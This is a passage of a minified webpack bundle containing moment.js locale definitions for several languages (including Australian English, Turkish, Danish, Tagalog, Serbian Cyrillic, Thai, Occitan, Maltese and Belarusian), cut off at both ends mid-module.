e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n("wd/R"))},Dmvi:function(e,t,n){!function(e){"use strict";e.defineLocale("en-au",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:4}})}(n("wd/R"))},DoHr:function(e,t,n){!function(e){"use strict";var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'\xfcnc\xfc",4:"'\xfcnc\xfc",100:"'\xfcnc\xfc",6:"'nc\u0131",9:"'uncu",10:"'uncu",30:"'uncu",60:"'\u0131nc\u0131",90:"'\u0131nc\u0131"};e.defineLocale("tr",{months:"Ocak_\u015eubat_Mart_Nisan_May\u0131s_Haziran_Temmuz_A\u011fustos_Eyl\xfcl_Ekim_Kas\u0131m_Aral\u0131k".split("_"),monthsShort:"Oca_\u015eub_Mar_Nis_May_Haz_Tem_A\u011fu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Sal\u0131_\xc7ar\u015famba_Per\u015fembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pts_Sal_\xc7ar_Per_Cum_Cts".split("_"),weekdaysMin:"Pz_Pt_Sa_\xc7a_Pe_Cu_Ct".split("_"),meridiem:function(e,t,n){return e<12?n?"\xf6\xf6":"\xd6\xd6":n?"\xf6s":"\xd6S"},meridiemParse:/\xf6\xf6|\xd6\xd6|\xf6s|\xd6S/,isPM:function(e){return"\xf6s"===e||"\xd6S"===e},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bug\xfcn saat] LT",nextDay:"[yar\u0131n saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[d\xfcn] LT",lastWeek:"[ge\xe7en] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s \xf6nce",s:"birka\xe7 saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir g\xfcn",dd:"%d g\xfcn",w:"bir hafta",ww:"%d hafta",M:"bir ay",MM:"%d ay",y:"bir y\u0131l",yy:"%d y\u0131l"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'\u0131nc\u0131";var a=e%10;return e+(t[a]||t[e%100-a]||t[e>=100?100:null])}},week:{dow:1,doy:7}})}(n("wd/R"))},DxQv:function(e,t,n){!function(e){"use strict";e.defineLocale("da",{months:"januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"s\xf8ndag_mandag_tirsdag_onsdag_torsdag_fredag_l\xf8rdag".split("_"),weekdaysShort:"s\xf8n_man_tir_ons_tor_fre_l\xf8r".split("_"),weekdaysMin:"s\xf8_ma_ti_on_to_fr_l\xf8".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd [d.] D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"p\xe5 dddd [kl.] LT",lastDay:"[i g\xe5r kl.] LT",lastWeek:"[i] dddd[s kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"f\xe5 sekunder",ss:"%d sekunder",m:"et minut",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dage",M:"en m\xe5ned",MM:"%d m\xe5neder",y:"et \xe5r",yy:"%d \xe5r"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},Dzi0:function(e,t,n){!function(e){"use strict";e.defineLocale("tl-ph",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n("wd/R"))},"E+lV":function(e,t,n){!function(e){"use strict";var t={words:{ss:["\u0441\u0435\u043a\u0443\u043d\u0434\u0430","\u0441\u0435\u043a\u0443\u043d\u0434\u0435","\u0441\u0435\u043a\u0443\u043d\u0434\u0438"],m:["\u0458\u0435\u0434\u0430\u043d \u043c\u0438\u043d\u0443\u0442","\u0458\u0435\u0434\u043d\u0435 \u043c\u0438\u043d\u0443\u0442\u0435"],mm:["\u043c\u0438\u043d\u0443\u0442","\u043c\u0438\u043d\u0443\u0442\u0435","\u043c\u0438\u043d\u0443\u0442\u0430"],h:["\u0458\u0435\u0434\u0430\u043d \u0441\u0430\u0442","\u0458\u0435\u0434\u043d\u043e\u0433 \u0441\u0430\u0442\u0430"],hh:["\u0441\u0430\u0442","\u0441\u0430\u0442\u0430","\u0441\u0430\u0442\u0438"],dd:["\u0434\u0430\u043d","\u0434\u0430\u043d\u0430","\u0434\u0430\u043d\u0430"],MM:["\u043c\u0435\u0441\u0435\u0446","\u043c\u0435\u0441\u0435\u0446\u0430","\u043c\u0435\u0441\u0435\u0446\u0438"],yy:["\u0433\u043e\u0434\u0438\u043d\u0430","\u0433\u043e\u0434\u0438\u043d\u0435","\u0433\u043e\u0434\u0438\u043d\u0430"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,a){var r=t.words[a];return 1===a.length?n?r[0]:r[1]:e+" "+t.correctGrammaticalCase(e,r)}};e.defineLocale("sr-cyrl",{months:"\u0458\u0430\u043d\u0443\u0430\u0440_\u0444\u0435\u0431\u0440\u0443\u0430\u0440_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0438\u043b_\u043c\u0430\u0458_\u0458\u0443\u043d_\u0458\u0443\u043b_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043f\u0442\u0435\u043c\u0431\u0430\u0440_\u043e\u043a\u0442\u043e\u0431\u0430\u0440_\u043d\u043e\u0432\u0435\u043c\u0431\u0430\u0440_\u0434\u0435\u0446\u0435\u043c\u0431\u0430\u0440".split("_"),monthsShort:"\u0458\u0430\u043d._\u0444\u0435\u0431._\u043c\u0430\u0440._\u0430\u043f\u0440._\u043c\u0430\u0458_\u0458\u0443\u043d_\u0458\u0443\u043b_\u0430\u0432\u0433._\u0441\u0435\u043f._\u043e\u043a\u0442._\u043d\u043e\u0432._\u0434\u0435\u0446.".split("_"),monthsParseExact:!0,weekdays:"\u043d\u0435\u0434\u0435\u0459\u0430_\u043f\u043e\u043d\u0435\u0434\u0435\u0459\u0430\u043a_\u0443\u0442\u043e\u0440\u0430\u043a_\u0441\u0440\u0435\u0434\u0430_\u0447\u0435\u0442\u0432\u0440\u0442\u0430\u043a_\u043f\u0435\u0442\u0430\u043a_\u0441\u0443\u0431\u043e\u0442\u0430".split("_"),weekdaysShort:"\u043d\u0435\u0434._\u043f\u043e\u043d._\u0443\u0442\u043e._\u0441\u0440\u0435._\u0447\u0435\u0442._\u043f\u0435\u0442._\u0441\u0443\u0431.".split("_"),weekdaysMin:"\u043d\u0435_\u043f\u043e_\u0443\u0442_\u0441\u0440_\u0447\u0435_\u043f\u0435_\u0441\u0443".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[\u0434\u0430\u043d\u0430\u0441 \u0443] LT",nextDay:"[\u0441\u0443\u0442\u0440\u0430 \u0443] LT",nextWeek:function(){switch(this.day()){case 0:return"[\u0443] [\u043d\u0435\u0434\u0435\u0459\u0443] [\u0443] LT";case 3:return"[\u0443] [\u0441\u0440\u0435\u0434\u0443] [\u0443] LT";case 6:return"[\u0443] [\u0441\u0443\u0431\u043e\u0442\u0443] [\u0443] LT";case 1:case 2:case 4:case 5:return"[\u0443] dddd [\u0443] LT"}},lastDay:"[\u0458\u0443\u0447\u0435 \u0443] LT",lastWeek:function(){return["[\u043f\u0440\u043e\u0448\u043b\u0435] [\u043d\u0435\u0434\u0435\u0459\u0435] [\u0443] LT","[\u043f\u0440\u043e\u0448\u043b\u043e\u0433] [\u043f\u043e\u043d\u0435\u0434\u0435\u0459\u043a\u0430] [\u0443] LT","[\u043f\u0440\u043e\u0448\u043b\u043e\u0433] [\u0443\u0442\u043e\u0440\u043a\u0430] [\u0443] LT","[\u043f\u0440\u043e\u0448\u043b\u0435] [\u0441\u0440\u0435\u0434\u0435] [\u0443] LT","[\u043f\u0440\u043e\u0448\u043b\u043e\u0433] [\u0447\u0435\u0442\u0432\u0440\u0442\u043a\u0430] [\u0443] LT","[\u043f\u0440\u043e\u0448\u043b\u043e\u0433] [\u043f\u0435\u0442\u043a\u0430] [\u0443] LT","[\u043f\u0440\u043e\u0448\u043b\u0435] [\u0441\u0443\u0431\u043e\u0442\u0435] [\u0443] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"\u0437\u0430 %s",past:"\u043f\u0440\u0435 %s",s:"\u043d\u0435\u043a\u043e\u043b\u0438\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434\u0438",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"\u0434\u0430\u043d",dd:t.translate,M:"\u043c\u0435\u0441\u0435\u0446",MM:t.translate,y:"\u0433\u043e\u0434\u0438\u043d\u0443",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))},EOgW:function(e,t,n){!function(e){"use strict";e.defineLocale("th",{months:"\u0e21\u0e01\u0e23\u0e32\u0e04\u0e21_\u0e01\u0e38\u0e21\u0e20\u0e32\u0e1e\u0e31\u0e19\u0e18\u0e4c_\u0e21\u0e35\u0e19\u0e32\u0e04\u0e21_\u0e40\u0e21\u0e29\u0e32\u0e22\u0e19_\u0e1e\u0e24\u0e29\u0e20\u0e32\u0e04\u0e21_\u0e21\u0e34\u0e16\u0e38\u0e19\u0e32\u0e22\u0e19_\u0e01\u0e23\u0e01\u0e0e\u0e32\u0e04\u0e21_\u0e2a\u0e34\u0e07\u0e2b\u0e32\u0e04\u0e21_\u0e01\u0e31\u0e19\u0e22\u0e32\u0e22\u0e19_\u0e15\u0e38\u0e25\u0e32\u0e04\u0e21_\u0e1e\u0e24\u0e28\u0e08\u0e34\u0e01\u0e32\u0e22\u0e19_\u0e18\u0e31\u0e19\u0e27\u0e32\u0e04\u0e21".split("_"),monthsShort:"\u0e21.\u0e04._\u0e01.\u0e1e._\u0e21\u0e35.\u0e04._\u0e40\u0e21.\u0e22._\u0e1e.\u0e04._\u0e21\u0e34.\u0e22._\u0e01.\u0e04._\u0e2a.\u0e04._\u0e01.\u0e22._\u0e15.\u0e04._\u0e1e.\u0e22._\u0e18.\u0e04.".split("_"),monthsParseExact:!0,weekdays:"\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c_\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c_\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23_\u0e1e\u0e38\u0e18_\u0e1e\u0e24\u0e2b\u0e31\u0e2a\u0e1a\u0e14\u0e35_\u0e28\u0e38\u0e01\u0e23\u0e4c_\u0e40\u0e2a\u0e32\u0e23\u0e4c".split("_"),weekdaysShort:"\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c_\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c_\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23_\u0e1e\u0e38\u0e18_\u0e1e\u0e24\u0e2b\u0e31\u0e2a_\u0e28\u0e38\u0e01\u0e23\u0e4c_\u0e40\u0e2a\u0e32\u0e23\u0e4c".split("_"),weekdaysMin:"\u0e2d\u0e32._\u0e08._\u0e2d._\u0e1e._\u0e1e\u0e24._\u0e28._\u0e2a.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY \u0e40\u0e27\u0e25\u0e32 H:mm",LLLL:"\u0e27\u0e31\u0e19dddd\u0e17\u0e35\u0e48 D MMMM YYYY \u0e40\u0e27\u0e25\u0e32 H:mm"},meridiemParse:/\u0e01\u0e48\u0e2d\u0e19\u0e40\u0e17\u0e35\u0e48\u0e22\u0e07|\u0e2b\u0e25\u0e31\u0e07\u0e40\u0e17\u0e35\u0e48\u0e22\u0e07/,isPM:function(e){return"\u0e2b\u0e25\u0e31\u0e07\u0e40\u0e17\u0e35\u0e48\u0e22\u0e07"===e},meridiem:function(e,t,n){return e<12?"\u0e01\u0e48\u0e2d\u0e19\u0e40\u0e17\u0e35\u0e48\u0e22\u0e07":"\u0e2b\u0e25\u0e31\u0e07\u0e40\u0e17\u0e35\u0e48\u0e22\u0e07"},calendar:{sameDay:"[\u0e27\u0e31\u0e19\u0e19\u0e35\u0e49 \u0e40\u0e27\u0e25\u0e32] LT",nextDay:"[\u0e1e\u0e23\u0e38\u0e48\u0e07\u0e19\u0e35\u0e49 \u0e40\u0e27\u0e25\u0e32] LT",nextWeek:"dddd[\u0e2b\u0e19\u0e49\u0e32 \u0e40\u0e27\u0e25\u0e32] LT",lastDay:"[\u0e40\u0e21\u0e37\u0e48\u0e2d\u0e27\u0e32\u0e19\u0e19\u0e35\u0e49 \u0e40\u0e27\u0e25\u0e32] LT",lastWeek:"[\u0e27\u0e31\u0e19]dddd[\u0e17\u0e35\u0e48\u0e41\u0e25\u0e49\u0e27 \u0e40\u0e27\u0e25\u0e32] LT",sameElse:"L"},relativeTime:{future:"\u0e2d\u0e35\u0e01 %s",past:"%s\u0e17\u0e35\u0e48\u0e41\u0e25\u0e49\u0e27",s:"\u0e44\u0e21\u0e48\u0e01\u0e35\u0e48\u0e27\u0e34\u0e19\u0e32\u0e17\u0e35",ss:"%d \u0e27\u0e34\u0e19\u0e32\u0e17\u0e35",m:"1 \u0e19\u0e32\u0e17\u0e35",mm:"%d \u0e19\u0e32\u0e17\u0e35",h:"1 \u0e0a\u0e31\u0e48\u0e27\u0e42\u0e21\u0e07",hh:"%d \u0e0a\u0e31\u0e48\u0e27\u0e42\u0e21\u0e07",d:"1 \u0e27\u0e31\u0e19",dd:"%d \u0e27\u0e31\u0e19",w:"1 \u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c",ww:"%d \u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c",M:"1 \u0e40\u0e14\u0e37\u0e2d\u0e19",MM:"%d \u0e40\u0e14\u0e37\u0e2d\u0e19",y:"1 \u0e1b\u0e35",yy:"%d \u0e1b\u0e35"}})}(n("wd/R"))},Fnuy:function(e,t,n){!function(e){"use strict";e.defineLocale("oc-lnc",{months:{standalone:"geni\xe8r_febri\xe8r_mar\xe7_abril_mai_junh_julhet_agost_setembre_oct\xf2bre_novembre_decembre".split("_"),format:"de geni\xe8r_de febri\xe8r_de mar\xe7_d'abril_de mai_de junh_de julhet_d'agost_de setembre_d'oct\xf2bre_de novembre_de decembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._mar\xe7_abr._mai_junh_julh._ago._set._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"dimenge_diluns_dimars_dim\xe8cres_dij\xf2us_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dm._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dm_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:"[u\xe8i a] LT",nextDay:"[deman a] LT",nextWeek:"dddd [a] LT",lastDay:"[i\xe8r a] LT",lastWeek:"dddd [passat a] LT",sameElse:"L"},relativeTime:{future:"d'aqu\xed %s",past:"fa %s",s:"unas segondas",ss:"%d segondas",m:"una minuta",mm:"%d minutas",h:"una ora",hh:"%d oras",d:"un jorn",dd:"%d jorns",M:"un mes",MM:"%d meses",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|\xe8|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"\xe8";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n("wd/R"))},G0Uy:function(e,t,n){!function(e){"use strict";e.defineLocale("mt",{months:"Jannar_Frar_Marzu_April_Mejju_\u0120unju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Di\u010bembru".split("_"),monthsShort:"Jan_Fra_Mar_Apr_Mej_\u0120un_Lul_Aww_Set_Ott_Nov_Di\u010b".split("_"),weekdays:"Il-\u0126add_It-Tnejn_It-Tlieta_L-Erbg\u0127a_Il-\u0126amis_Il-\u0120img\u0127a_Is-Sibt".split("_"),weekdaysShort:"\u0126ad_Tne_Tli_Erb_\u0126am_\u0120im_Sib".split("_"),weekdaysMin:"\u0126a_Tn_Tl_Er_\u0126a_\u0120i_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Illum fil-]LT",nextDay:"[G\u0127ada fil-]LT",nextWeek:"dddd [fil-]LT",lastDay:"[Il-biera\u0127 fil-]LT",lastWeek:"dddd [li g\u0127adda] [fil-]LT",sameElse:"L"},relativeTime:{future:"f\u2019 %s",past:"%s ilu",s:"ftit sekondi",ss:"%d sekondi",m:"minuta",mm:"%d minuti",h:"sieg\u0127a",hh:"%d sieg\u0127at",d:"\u0121urnata",dd:"%d \u0121ranet",M:"xahar",MM:"%d xhur",y:"sena",yy:"%d sni"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},H8ED:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a,r;return"m"===n?t?"\u0445\u0432\u0456\u043b\u0456\u043d\u0430":"\u0445\u0432\u0456\u043b\u0456\u043d\u0443":"h"===n?t?"\u0433\u0430\u0434\u0437\u0456\u043d\u0430":"\u0433\u0430\u0434\u0437\u0456\u043d\u0443":e+" "+(a=+e,r={ss:t?"\u0441\u0435\u043a\u0443\u043d\u0434\u0430_\u0441\u0435\u043a\u0443\u043d\u0434\u044b_\u0441\u0435\u043a\u0443\u043d\u0434":"\u0441\u0435\u043a\u0443\u043d\u0434\u0443_\u0441\u0435\u043a\u0443\u043d\u0434\u044b_\u0441\u0435\u043a\u0443\u043d\u0434",mm:t?"\u0445\u0432\u0456\u043b\u0456\u043d\u0430_\u0445\u0432\u0456\u043b\u0456\u043d\u044b_\u0445\u0432\u0456\u043b\u0456\u043d":"\u0445\u0432\u0456\u043b\u0456\u043d\u0443_\u0445\u0432\u0456\u043b\u0456\u043d\u044b_\u0445\u0432\u0456\u043b\u0456\u043d",hh:t?"\u0433\u0430\u0434\u0437\u0456\u043d\u0430_\u0433\u0430\u0434\u0437\u0456\u043d\u044b_\u0433\u0430\u0434\u0437\u0456\u043d":"\u0433\u0430\u0434\u0437\u0456\u043d\u0443_\u0433\u0430\u0434\u0437\u0456\u043d\u044b_\u0433\u0430\u0434\u0437\u0456\u043d",dd:"\u0434\u0437\u0435\u043d\u044c_\u0434\u043d\u0456_\u0434\u0437\u0451\u043d",MM:"\u043c\u0435\u0441\u044f\u0446_\u043c\u0435\u0441\u044f\u0446\u044b_\u043c\u0435\u0441\u044f\u0446\u0430\u045e",yy:"\u0433\u043e\u0434_\u0433\u0430\u0434\u044b_\u0433\u0430\u0434\u043e\u045e"}[n].split("_"),a%10==1&&a%100!=11?r[0]:a%10>=2&&a%10<=4&&(a%100<10||a%100>=20)?r[1]:r[2])}e.defineLocale("be",{months:{format:"\u0441\u0442\u0443\u0434\u0437\u0435\u043d\u044f_\u043b\u044e\u0442\u0430\u0433\u0430_\u0441\u0430\u043a\u0430\u0432\u0456\u043a\u0430_\u043a\u0440\u0430\u0441\u0430\u0432\u0456\u043a\u0430_\u0442\u0440\u0430\u045e\u043d\u044f_\u0447\u044d\u0440\u0432\u0435\u043d\u044f_\u043b\u0456\u043f\u0435\u043d\u044f_\u0436\u043d\u0456\u045e\u043d\u044f_\u0432\u0435\u0440\u0430\u0441\u043d\u044f_\u043a\u0430\u0441\u0442\u0440\u044b\u0447\u043d\u0456\u043a\u0430_\u043b\u0456\u0441\u0442\u0430\u043f\u0430\u0434\u0430_\u0441\u043d\u0435\u0436\u043d\u044f".split("_"),standalone:"\u0441\u0442\u0443\u0434\u0437\u0435\u043d\u044c_\u043b\u044e\u0442\u044b_\u0441\u0430\u043a\u0430\u0432\u0456\u043a_\u043a\u0440\u0430\u0441\u0430\u0432\u0456\u043a_\u0442\u0440\u0430\u0432\u0435\u043d\u044c_\u0447\u044d\u0440\u0432\u0435\u043d\u044c_\u043b\u0456\u043f\u0435\u043d\u044c_\u0436\u043d\u0456\u0432\u0435\u043d\u044c_\u0432\u0435\u0440\u0430\u0441\u0435\u043d\u044c_\u043a\u0430\u0441\u0442\u0440\u044b\u0447\u043d\u0456\u043a_\u043b\u0456\u0441\u0442\u0430\u043f\u0430\u0434_\u0441\u043d\u0435\u0436\u0430\u043d\u044c".split("_")},monthsShort:"\u0441\u0442\u0443\u0434_\u043b\u044e\u0442_\u0441\u0430\u043a_\u043a\u0440\u0430\u0441_\u0442\u0440\u0430\u0432_\u0447\u044d\u0440\u0432_\u043b\u0456\u043f_\u0436\u043d\u0456\u0432_\u0432\u0435\u0440_\u043a\u0430\u0441\u0442_\u043b\u0456\u0441\u0442_\u0441\u043d\u0435\u0436".split("_"),weekdays:{format:"\u043d\u044f\u0434\u0437\u0435\u043b\u044e_\u043f\u0430\u043d\u044f\u0434\u0437\u0435\u043b\u0430\u043a_\u0430\u045e\u0442\u043e\u0440\u0430\u043a_\u0441\u0435\u0440\u0430\u0434\u0443_\u0447\u0430\u0446\u0432\u0435\u0440_\u043f\u044f\u0442\u043d\u0456\u0446\u0443_\u0441\u0443\u0431\u043e\u0442\u0443".split("_"),standalone:"\u043d\u044f\u0434\u0437\u0435\u043b\u044f_\u043f\u0430\u043d\u044f\u0434\u0437\u0435\u043b\u0430\u043a_\u0430\u045e\u0442\u043e\u0440\u0430\u043a_\u0441\u0435\u0440\u0430\u0434\u0430_\u0447\u0430\u0446\u0432\u0435\u0440_\u043f\u044f\u0442\u043d\u0456\u0446\u0430_\u0441\u0443\u0431\u043e\u0442\u0430".split("_"),isFormat:/\[ ?[\u0423\u0443\u045e] ?(?:\u043c\u0456\u043d\u0443\u043b\u0443\u044e|\u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0443\u044e)? ?\] ?dddd/},weekdaysShort:"\u043d\u0434_\u043f\u043d_\u0430\u0442_\u0441\u0440_\u0447\u0446_\u043f\u0442_\u0441\u0431".split("_"),weekdaysMin:"\u043d\u0434_\u043f\u043d_\u0430\u0442_\u0441\u0440_\u0447\u0446_\u043f\u0442_\u0441\u0431".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY \u0433.",LLL:"D MMMM YYYY \u0433., HH:mm",LLLL:"dddd, D MMMM YYYY \u0433., HH:mm"},calendar:{sameDay:"[\u0421\u0451\u043d\u043d\u044f \u045e] LT",nextDay:"[\u0417\u0430\u045e\u0442\u0440\u0430 \u045e] LT",lastDay:"[\u0423\u0447\u043e\u0440\u0430 \u045e] LT",nextWeek:function(){return"[\u0423] dddd [\u045e] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[\u0423 \u043c\u0456\u043d\u0443\u043b\u0443\u044e] dddd [\u045e] LT";case 1:case 2:case 4:return"[\u0423 \u043c\u0456\u043d\u0443\u043b\u044b] dddd [\u045e] LT"}},sameElse:"L"},relativeTime:{future:"\u043f\u0440\u0430\u0437 %s",past:"%s \u0442\u0430\u043c\u0443",s:"\u043d\u0435\u043a\u0430\u043b\u044c\u043a\u0456 \u0441\u0435\u043a\u0443\u043d\u0434",m:t,mm:t,h:t,hh:t,d:"\u0434\u0437\u0435\u043d\u044c",dd:t,M:"\u043c\u0435\u0441\u044f\u0446",MM:t,y:"\u0433\u043e\u0434",yy:t},meridiemParse:/\u043d\u043e\u0447\u044b|\u0440\u0430\u043d\u0456\u0446\u044b|\u0434\u043d\u044f|\u0432\u0435\u0447\u0430\u0440\u0430/,isPM:function(e){return/^(\u0434\u043d\u044f|\u0432\u0435\u0447\u0430\u0440\u0430)$/.test(e)},meridiem:function(e,t,n){return e<4?"\u043d\u043e\u0447\u044b":e<12?"\u0440\u0430\u043d\u0456\u0446\u044b":e<17?"\u0434\u043d\u044f":"\u0432\u0435\u0447\u0430\u0440\u0430"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0456|\u044b|\u0433\u0430)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-\u044b":e+"-\u0456";case"D":return e+"-\u0433\u0430";default:return e}},week:{dow:1,doy:7}})}(n("wd/R"))},HP3h:function(e,t,n){!function(e){"use strict";var t={1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9",0:"0"},n=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},a={s:["\u0623\u0642\u0644 \u0645\u0646 \u062b\u0627\u0646\u064a\u0629","\u062b\u0627\u0646\u064a\u0629 \u0648\u0627\u062d\u062f\u0629",["\u062b\u0627\u0646\u064a\u062a\u0627\u0646","\u062b\u0627\u0646\u064a\u062a\u064a\u0646"],"%d \u062b\u0648\u0627\u0646","%d \u062b\u0627\u0646\u064a\u0629","%d \u062b\u0627\u0646\u064a\u0629"],m:["\u0623\u0642\u0644 \u0645\u0646 \u062f\u0642\u064a\u0642\u0629","\u062f\u0642\u064a\u0642\u0629 \u0648\u0627\u062d\u062f\u0629",["\u062f\u0642\u064a\u0642\u062a\u0627\u0646","\u062f\u0642\u064a\u0642\u062a\u064a\u0646"],"%d \u062f\u0642\u0627\u0626\u0642","%d \u062f\u0642\u064a\u0642\u0629","%d \u062f\u0642\u064a\u0642\u0629"],h:["\u0623\u0642\u0644 \u0645\u0646 \u0633\u0627\u0639\u0629","\u0633\u0627\u0639\u0629 \u0648\u0627\u062d\u062f\u0629",["\u0633\u0627\u0639\u062a\u0627\u0646","\u0633\u0627\u0639\u062a\u064a\u0646"],"%d \u0633\u0627\u0639\u0627\u062a","%d \u0633\u0627\u0639\u0629","%d \u0633\u0627\u0639\u0629"],d:["\u0623\u0642\u0644 \u0645\u0646 \u064a\u0648\u0645","\u064a\u0648\u0645 